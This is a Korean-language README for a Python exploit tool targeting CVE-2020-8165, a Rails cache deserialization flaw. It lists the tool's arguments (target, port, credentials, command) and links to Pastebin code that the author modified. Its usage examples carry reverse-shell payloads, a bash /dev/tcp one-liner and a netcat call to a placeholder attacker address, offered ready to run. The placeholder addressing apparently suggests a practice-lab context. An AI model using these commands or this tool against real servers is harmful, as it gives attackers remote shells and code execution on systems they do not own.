CVE-2020-8165 Python 익스플로잇

이 코드는 Python3를 사용하여 CVE-2020-8165를 익스플로잇하기 위한 것입니다. 이 익스플로잇은 rails < 5.2.4.3, rails < 6.0.3.1에서 작동합니다. 익스플로잇을 통해 공격자는 MemCacheStore 및 RedisCacheStore에서 사용자가 제공한 객체를 역직렬화(unmarshal)할 수 있습니다. 이 익스플로잇 코드는 ArgParse를 사용하여 사용자가 이 취약점을 매우 간단하게 익스플로잇할 수 있도록 합니다.

사용법

이 익스플로잇에는 다섯 개의 인수가 있습니다:

• rHost - 원격 대상 호스트의 IP 주소
• rPort - Rails가 실행 중인 원격 대상 호스트의 포트 번호
• email - 서비스에 로그인하는 데 사용되는 이메일
• password - 서비스에 로그인할 계정의 비밀번호
• cmd - 실행할 명령어 (공백을 고려하여 따옴표로 묶음)

예시:

• python3 exploit.py 10.10.10.X 8080 [email protected] password "bash -c 'bash -i >& /dev/tcp/10.10.X.X/8989 0>&1'"
• python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989"

주요 크레딧

원본 CVE 세부 정보: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165 제가 손보고 ArgParse를 추가한 Pastebin 익스플로잇 코드: https://pastebin.com/jpHpdBTk